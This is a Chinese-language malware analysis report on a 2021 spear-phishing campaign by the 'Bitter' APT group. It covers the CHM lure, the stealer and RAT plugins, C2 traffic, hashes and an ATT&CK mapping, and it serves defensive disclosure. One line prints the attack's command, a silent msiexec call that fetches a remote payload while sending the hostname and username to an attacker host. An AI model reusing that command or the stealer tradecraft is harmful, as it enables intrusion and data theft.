“苦象”组织上半年针对我国的攻击活动分析
时间 : 2021年07月05日 来源: 6163银河.net163.amCERT
1、概述
近期,6163银河.net163.amCERT在梳理安全事件时,发现一批针对我国军工、贸易和能源等领域的网络攻击活动。攻击手法存在伪造身份向目标发送鱼叉邮件,投递恶意附件诱导受害者运行。经归因分析发现,这批活动具备APT组织“苦象”[1]的历史特征,且在针对目标、恶意代码和网络资产等层面均存在关联,属于“苦象”组织在2021年上半年的典型攻击模式。相关攻击活动的特征总结如下:
表1-1 攻击活动特征
事件要点 |
特征内容 |
事件概述 |
“苦象”组织的网络攻击活动 |
攻击目标 |
我国的军工、贸易和能源等领域目标 |
攻击手法 |
鱼叉邮件投递恶意附件,附件包含恶意CHM文件诱导点击 |
攻击意图 |
窃密 |
攻击时间 |
2021年4月 |
此外,6163银河.net163.amCERT还跟踪、关联到“苦象”组织上半年使用过的多个窃密插件,其攻击技术和代码功能均带有该组织的明显特征,在关联分析章节我们将对asms和sthost两个典型插件进行分析。
2、事件分析
2.1 初始诱饵分析
攻击者会以“会议议程”等邮件主题,伪造受害者可能感兴趣的发件人向目标连续投递多封鱼叉邮件,邮件附件中包含恶意的CHM文件,案例如图:
图2-1 附件压缩包中的内容
表2-1 样本标签
病毒名称 |
Trojan/Script.CHM |
原始文件名 |
会议议程.chm |
MD5 |
D91B888205AC1CA80C40426B9F5A6105 |
文件大小 |
10.60
KB (10856 bytes) |
文件格式 |
MS
Windows HtmlHelp Data |
LanguageCode |
English
(U.S.) |
“会议议程.chm”为包含恶意脚本的Windows帮助文件,静态属性皆不可用,点击执行后看到的正文为空白:
图2-2 CHM文件的正文及属性
此刻,其含有的经混淆的恶意脚本被自动运行,作用是添加一个每15分钟运行一次的系统任务计划:
图2-3 CHM文档包含的恶意脚本
任务计划名为“DefenderService”,操作对象为以msiexec命令运行远程的MSI文件,过程完全静默且不重启系统,同时提交本机的主机名和用户名:
%coMSPec% /c start /min msiexec /i http://***.com/***/crt.php?h=%computername%*%username% /qn /norestart
攻击者疑似会针对目标选择性下发CERT.msi的文件内容。CERT.msi负责向以下目录释放下载器模块winupd.exe,下载器模块功能是从C2服务器获取一系列的功能插件,保存在同一目录下:
C:\Users\***\AppData\Roaming\Microsoft\Windows\SendTo\
在观察到的案例中,陆续功能插件的选取和部署过程约在半小时内完成。
表2-2恶意文件信息列表
哈希 |
文件路径 |
说明(依次落地) |
4e1cc7a2e7ba7858b2bdbcbe344410e4 |
C:\Users\***\Downloads\会议议程.zip |
邮件附件 |
d91b888205ac1ca80c40426b9f5a6105 |
C:\Users\***\Downloads\会议议程.chm |
.chm文件 |
6452e2c243db03ecbcacd0419ff8bebf |
C:\Users\***\AppData\Roaming\Microsoft\Windows\SendTo\winupd.exe |
下载器模块 |
ef099d5fe4075132bf3812c9d5ffa8f9 |
C:\Users\***\AppData\Local\Google\Chrome\User
Data\MtMpEnq.exe |
远控插件1 |
bd054c4f43808ef37352f36129bf0c3d |
C:\Users\***\AppData\Roaming\Microsoft\Windows\SendTo\mtAdvanced4.exe |
远控插件2 |
ade9a4ee3acbb0e6b42fb57f118dbd6b |
C:\Users\***\AppData\Roaming\Microsoft\Windows\SendTo\sysmgr.exe |
文件窃取插件 |
7abcca95bc9c69d93be133f6597717c0 |
C:\Users\***\AppData\Roaming\Microsoft\Windows\SendTo\mvrs_crsh.exe |
浏览器凭证窃密插件 |
578918166854037cdcf1bb3a06a7a4f3 |
C:\Users\***\AppData\Roaming\Microsoft\Windows\SendTo\scvhost.exe |
键盘记录插件 |
2.2 部署插件分析
远控插件1:
插件名称:MtMpEnq.exe
MD5: EF099D5FE4075132BF3812C9D5FFA8F9
功能简介:该样本是一个远控。主要功能是对文件进行浏览、传输。也可以执行cmd命令。
C2地址为45.11.***.***,端口34318:
图2-4 远控插件1硬编码的C2
表2-3 远控插件1控制指令
指令码 |
功能描述 |
2 |
Delete File(删除文件) |
18 |
FileMgr get drives(获取驱动器) |
19 |
FileMgr get Folders(获取目录) |
20 |
FileMgr Create File(创建文件) |
21 |
FileMgr Copy File(复制文件) |
38 |
FileTransfer Begin(开始文件传输) |
39 |
FileTransfer Data(进行文件传输) |
40 |
FileTransfer Complete(结束文件传输) |
41 |
FileTransfer for downloading start(从被控端下载文件) |
48 |
Get Command(执行命令) |
49 |
Start Command Prompt(获取交互shell) |
50 |
Stop Command Prompt(结束交互shell) |
51 |
Connection Status(心跳包) |
远控插件2:
插件名称:mtAdvanced4.exe
MD5: BD054C4F43808EF37352F36129BF0C3D
功能简介:该样本是一个远控。主要功能是对文件进行浏览、传输。也可以执行cmd命令。
C2地址为45.11.***.***,端口80:
图2-5 远控插件2硬编码的C2
表2-4 远控插件2控制指令
指令码 |
功能描述 |
18 |
FileMgr get drives(获取驱动器) |
19 |
FileMgr get Folders(获取目录) |
38 |
FileTransfer Begin(开始文件传输) |
39 |
FileTransfer Data(进行文件传输) |
40 |
FileTransfer Complete(结束文件传输) |
41 |
FileTransfer for downloading start(从被控端下载文件) |
48 |
Get Command(执行命令) |
49 |
Start Command Prompt(获取交互shell) |
50 |
Stop Command Prompt(结束交互shell) |
51 |
Connection Status(心跳包) |
文件窃取插件:
插件名称:sysmgr.exe
MD5: ade9a4ee3acbb0e6b42fb57f118dbd6b
功能简介:窃取本机文件,将文件数据POST回攻击者服务器。
选取以下后缀的文件:
表2-5 指定的文件窃取对象
指定的后缀名 |
.azr、.bmp、.doc、.docx、.eln、.erq、.err、.jpeg、 .jpg、.neat、.pdf、.ppi、.ppt、.rar、.txt、.xls、.xlsx、.zip |
C2:http://***.net/UihbywscTZ/45Ugty845nv7rt.php,80端口
图2-6 文件窃密插件的上传流量
浏览器凭证窃密插件:
插件名称:mvrs_crsh.exe
MD5: 7ABCCA95BC9C69D93BE133F6597717C0
功能简介:获取火狐和谷歌浏览器保存的用户名和密码,保存在文件“en-GB-4-0.txt”。
图2-7 浏览器窃密插件的窃取对象
键盘记录插件:
插件名称:scvhost.exe
MD5: 578918166854037CDCF1BB3A06A7A4F3
功能简介:该程序被加入系统注册表中的Run启动项,用于记录目标机器上的按键行为,并将按键信息先写入临时缓冲文件“syslog0812AXbcW.tean”,然后汇入最终的存储文件“syslog0812AXbcW.neat ”。.neat 文件中的数据最终会被攻击者下发的文件窃取类插件如sysmgr.exe搜寻并上传。
注册键盘钩子,记录按键:
图2-8 击键窃密插件的按键记录功能
检测到“ctrl+v”后读取剪贴板内容:
图2-9 击键窃密插件的剪贴板记录功能
将监控到的按键信息写入文件“syslog0812AXbcW.tean”:
图2-10 击键窃密插件的数据保存位置
记录文件加密方法为每个字节加0x14(解密时每个字节减0x14):
图2-11 击键窃密插件的数据加密方法
3、关联分析
6163银河.net163.amCERT通过代码特点、技术手法和向量特征等技术进行关联分析,发现“苦象”组织使用过的数个功能插件,其中多数用于在目标机器上进行窃密作业。本章披露的asms和sthost插件与2.2章节提及的文件窃密插件sysmgr.exe在功能代码设计上十分相近,攻击者以相同逻辑实现类似的文件筛选、过滤、记录等窃密功能,在规避检测方面也使用十分相同的技术方法。
3.1 asms插件分析
表3-1 窃密样本标签
病毒名称 |
Trojan/Win32.Stealer |
原始文件名 |
asms.exe |
MD5 |
B63E9710CB67F4A649A83929ED9F0322 |
处理器架构 |
Intel
386 or later, and compatibles |
文件大小 |
101 KB
(103,936 bytes) |
文件格式 |
BinExecute/Microsoft.EXE[:X86] |
时间戳 |
2008-10-27
18:47:55 |
加壳类型 |
无 |
编译语言 |
Microsoft
Visual C++(2008)[msvcrt,wWinMain] |
该插件是“苦象”组织窃取信息的木马,其主要功能为窃取主机硬盘驱动器中doc、docx、ppt、pptx、xls、pdf、zip、txt以及apk等类型的文件,同时该窃密木马还会探测主机是否存在光盘驱动器,如果存在,则将光盘驱动器中存在的所有文件也回传至攻击的服务器。
当木马在主机中运行时,首先会进行休眠操作,休眠的秒数由其自身随机生成,休眠的目的是为了逃避沙箱的检测。
图3-1 随机休眠3
休眠完成后,木马会在自身所在目录下创建名为“errore.log”、“error1log.txt”的文件,error1log.txt文件作用是储存后续收集的文件信息,而errore.log文件作用是对自身的操作进行标识。
图3-2 创建errore.log
图3-3 创建error1log.txt
上述文件创建完成后,木马开始收集主机中不在排除路径列表且符合类型的文件信息,包括文件的完整路径以及文件的创建时间戳。同时,当木马探测到主机中存在光盘驱动器时,木马也会收集光盘驱动器中存在的文件。收集信息完成后,木马则会将收集的文件信息以“创建时间戳_文件路径||” 的形式写入error1log.txt。
图3-4 攻击者需要收集的类型
图3-5 需要排除的路径
图3-6 收集文件信息
图3-7 搜索指定类型文件
图3-8 将收集的信息写入error1log.txt
图3-9 error1log.txt文件内容
完成收集信息操作后,木马会在当前目录下创建cachex86.tmp,cachex86.tmp的作用是存储由38位随机字符加机器名形成唯一标识符,标识符的作用在于后续回传窃取的信息时对受害主机进行区分。
图3-10 将标识符写入cachex86.tmp文件
图3-11 cachex64.tmp
最后,木马会将存储文件信息的error1log.txt以及收集的文件以不加密的方式回传至攻击者的C2服务器。
图3-12 回传收集的信息
图3-13 回传error1log.txt的流量
图3-14 回传文件的流量
3.2 sthost插件分析
表3-2 窃密样本标签
病毒名称 |
Trojan/Win32.Stealer |
原始文件名 |
sthost.exe |
MD5 |
0159DF64E95A4BC0FC1AAFE4AA7FD3B6 |
处理器架构 |
Intel
386 or later, and compatibles |
文件大小 |
17.5
KB (17,920 字节) |
文件格式 |
BinExecute/Microsoft.EXE[:X86] |
时间戳 |
2090-01-13
05:08:25 |
加壳类型 |
无 |
编译语言 |
Microsoft Visual C# / Basic .NET |
该插件为窃密类木马,时间戳经过伪造,内部字符串等信息使用AES加密,运行后解密使用。样本会收集主机基本信息回传,收集指定后缀文件路径并记录到文本,然后根据关注的重点路径和文件修改时间进行筛选,最后对筛选的文件进行回传。
样本在主函数中首先对加密字符串进行解密,其加密字符串首先将空格替换成加号,进行base64解码,随后利用内置密码通过使用基于HMACSHA1的伪随机数生成器,实现基于密码的密钥派生,生成AES算法密钥和初始化向量,最终解密字符串,解密算法如下所示:
图3-15 字符串解密
解密出的字符串如下所示:
图3-16 解密结果
样本解密字符串后,进入无限循环,用于获取指定系统信息与文件信息并回传,并且每次获取回传都会间隔较长时间:
图3-17 获取信息回传
回传的系统信息经过简单的凯撒加密,算法如下所示:
图3-18 系统信息加密
在获取信息时,样本自定义了一个Listing的类用于文件信息收集功能,该类初始化结果如下:
图3-19 信息收集Listing类
其中RequiredExtension为需要收集的文件后缀,BlacklistFolder为无需遍历的文件夹名称。最后生成的文件内容格式为“文件路径|ddMMyyyy|HHmmss”,实验环境中如下所示:
图3-20 收集的信息内容和格式
该类还实现了通过文件最后修改时间(100天内)和文件路径进行筛选的功能。
图3-21 根据最后写入时间进行分类
图3-22 根据路径进行筛选
最终将筛选出的文件进行上传:
图3-23 上传文件
4、威胁框架视角的攻击映射
本次系列攻击活动共涉及ATT&CK框架中10个阶段的18个技术点,具体行为描述如下表:
表4-1 近期“苦象”组织攻击活动的技术行为描述表
ATT&CK阶段 |
具体行为 |
注释 |
侦察 |
搜集受害者组织信息 |
收集受害者所属组织,针对性地伪装成受害者感兴趣的身份 |
资源开发 |
获取基础设施 |
注册购买服务器及域名等网络基础设施 |
建立账户 |
注册钓鱼等所用的邮箱账号 |
|
初始访问 |
网络钓鱼 |
发送鱼叉邮件,附件投递诱饵文件 |
执行 |
诱导用户执行 |
诱导用户点击执行恶意的CHM帮助文件 |
利用命令和脚本解释器 |
利用CMD命令运行远程载荷 |
|
持久化 |
利用自动启动执行引导或登录 |
将自身添加进注册表的Run启动项 |
利用计划任务/工作 |
添加计划任务运行远程MSI载荷 |
|
凭证访问 |
从存储密码的位置获取凭证 |
从火狐/谷歌浏览器的默认存储位置获取凭证 |
输入捕捉 |
捕捉记录用户的击键记录,关注账号密码 |
|
发现 |
发现文件和目录 |
窃取文件时,发现并排除部分不需关注的目录 |
发现系统所有者/用户 |
发现系统的主机名和用户名 |
|
收集 |
压缩/加密收集的数据 |
捕获的用户输入经加密保存在本地文件 |
收集剪贴板数据 |
捕捉记录用户的Ctrl+V行为 |
|
输入捕捉 |
捕捉记录用户的击键记录 |
|
命令与控制 |
使用应用层协议 |
部分回传过程采用HTTP协议 |
使用加密信道 |
部分回传的数据经自定义加密 |
|
数据渗出 |
使用C2信道回传 |
数据回传至C2服务器 |
将涉及到的威胁行为技术点映射到ATT&CK框架如下图所示:
图4-1 近期“苦象”组织攻击活动对应ATT&CK映射图
附录:参考连接
[1] “苦象”组织近期网络攻击活动及泄露武器分析